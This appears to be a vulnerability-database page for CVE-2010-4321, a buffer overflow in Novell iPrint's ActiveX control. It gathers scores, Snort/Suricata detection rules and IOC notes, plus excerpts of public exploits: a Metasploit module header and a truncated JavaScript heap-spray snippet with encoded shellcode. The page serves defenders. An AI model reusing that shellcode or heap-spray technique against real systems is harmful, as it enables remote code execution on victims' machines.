CVE-2010-4321
published 2010-12-30CVE-2010-4321: Stack-based buffer overflow in an ActiveX control in ienipp.ocx in Novell iPrint Client 5.52 allows remote attackers to execute arbitrary code via a long…
PriorityP259critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
32.95%
98.2th percentile
Stack-based buffer overflow in an ActiveX control in ienipp.ocx in Novell iPrint Client 5.52 allows remote attackers to execute arbitrary code via a long argument to (1) the GetDriverSettings2 method, as reachable by (2) the GetDriverSettings method.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| novell | iprint_client | — | — |
Detection & IOCsextracted from sources · hover to see the quote
snort
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET ACTIVEX Novell iPrint ActiveX GetDriverSettings Remote Code Execution Attempt"; flow:established,to_client; content:"36723F97-7AA0-11D4-8919-FF2D71D0D32C"; nocase; content:"GetDriverSettings2"; nocase; distance:0; pcre:"/]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*36723F97-7AA0-11D4-8919-FF2D71D0D32C/si"; reference:url,www.zerodayinitiative.com/advisories/ZDI-10-256/; reference:url,www.vupen.com/english/advisories/2010/3023; reference:bid,44966; reference:cve,2010-4321; classtype:attempted-user; sid:2012206; rev:2; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, created_at 2011_01_20, cve CVE_2010_4321, deployment Perimeter, confidence Medium, signature_severity Major, tag ActiveX, updated_at 2019_07_26, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
- →Detect exploit attempts by inspecting HTTP responses for the Novell iPrint ActiveX CLSID '36723F97-7AA0-11D4-8919-FF2D71D0D32C' combined with invocation of 'GetDriverSettings2' method in the same flow.
- →The exploit targets ienipp.ocx (Novell iPrint Client 5.52 ActiveX control); presence of this file on a system combined with browser process spawning child processes is a strong indicator of exploitation. ↗
- →The Metasploit module uses heap spray with NOP sleds and targets return address 0x0A0A0A0A; memory scanning for repeated 0x0A0A0A0A patterns in browser heap may indicate an active exploit attempt. ↗
- →Payload bad character is only null byte (\x00) and space is 1024 bytes; large unescape() blobs delivered via HTTP to a client running ienipp.ocx should be treated as suspicious. ↗
- ·The Metasploit module's default target covers Windows XP SP0-SP3 and Windows Vista with IE 6.0 SP0-SP2 / IE 7 only; the fixed return address 0x0A0A0A0A (heap spray target) may not be reliable on other OS/browser combinations. ↗
- ·The Snort/ET rule (sid:2012206) inspects server-to-client HTTP traffic (flow:established,to_client); it will not fire on non-standard ports outside $HTTP_PORTS or on encrypted (HTTPS) delivery.
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Suricata
ET ACTIVEX Novell iPrint ActiveX GetDriverSettings Remote Code Execution Attempt
suricata·2011-01-20
CVE-2010-4321 ET ACTIVEX Novell iPrint ActiveX GetDriverSettings Remote Code Execution Attempt
ET ACTIVEX Novell iPrint ActiveX GetDriverSettings Remote Code Execution Attempt
Rule: alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET ACTIVEX Novell iPrint ActiveX GetDriverSettings Remote Code Execution Attempt"; flow:established,to_client; content:"36723F97-7AA0-11D4-8919-FF2D71D0D32C"; nocase; content:"GetDriverSettings2"; nocase; distance:0; pcre:"/]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*36723F97-7AA0-11D4-8919-FF2D71D0D32C/si"; reference:url,www.zerodayinitiative.com/advisories/ZDI-10-256/; reference:url,www.vupen.com/english/advisories/2010/3023; reference:bid,44966; reference:cve,2010-4321; classtype:attempted-user; sid:2012206; rev:2; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, created_at 2011_01_20
Suricata
GPL MISC rwhoisd format string attempt
suricata·2010-09-23
CVE-2001-0838 GPL MISC rwhoisd format string attempt
GPL MISC rwhoisd format string attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 4321 (msg:"GPL MISC rwhoisd format string attempt"; flow:established,to_server; content:"-soa %p"; reference:bugtraq,3474; reference:cve,2001-0838; classtype:misc-attack; sid:2101323; rev:8; metadata:created_at 2010_09_23, cve CVE_2001_0838, signature_severity Informational, updated_at 2024_03_08;)
Exploit-DB
Novell iPrint Client 5.52 - ActiveX Control Buffer Overflow (Metasploit)
exploitdb·2011-03-07
CVE-2010-4321 Novell iPrint Client 5.52 - ActiveX Control Buffer Overflow (Metasploit)
Novell iPrint Client 5.52 - ActiveX Control Buffer Overflow (Metasploit)
---
##
# $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $
##
###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Novell iPrint Client ActiveX Control %q{
This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
sending an overly long string to the GetDriverSettings() property of ienipp.ocx
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me ', # metasploit module
'Dr_IDE' #
Exploit-DB
Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution
exploitdb·2011-01-19
CVE-2010-4321 Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution
Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution
---
// Calc.exe
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length
#http://pocoftheday.blogspot.com
Metasploit
Novell iPrint Client ActiveX Control Buffer Overflow
metasploit
Novell iPrint Client ActiveX Control Buffer Overflow
Novell iPrint Client ActiveX Control Buffer Overflow
This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When sending an overly long string to the GetDriverSettings() property of ienipp.ocx an attacker may be able to execute arbitrary code.
No writeups or analysis indexed.
http://securityreason.com/securityalert/8125http://www.exploit-db.com/exploits/16014http://www.novell.com/support/viewContent.do?externalId=7007234http://www.securityfocus.com/bid/44966http://www.zerodayinitiative.com/advisories/ZDI-10-256/http://securityreason.com/securityalert/8125http://www.exploit-db.com/exploits/16014http://www.novell.com/support/viewContent.do?externalId=7007234http://www.securityfocus.com/bid/44966http://www.zerodayinitiative.com/advisories/ZDI-10-256/
2010-12-30
Published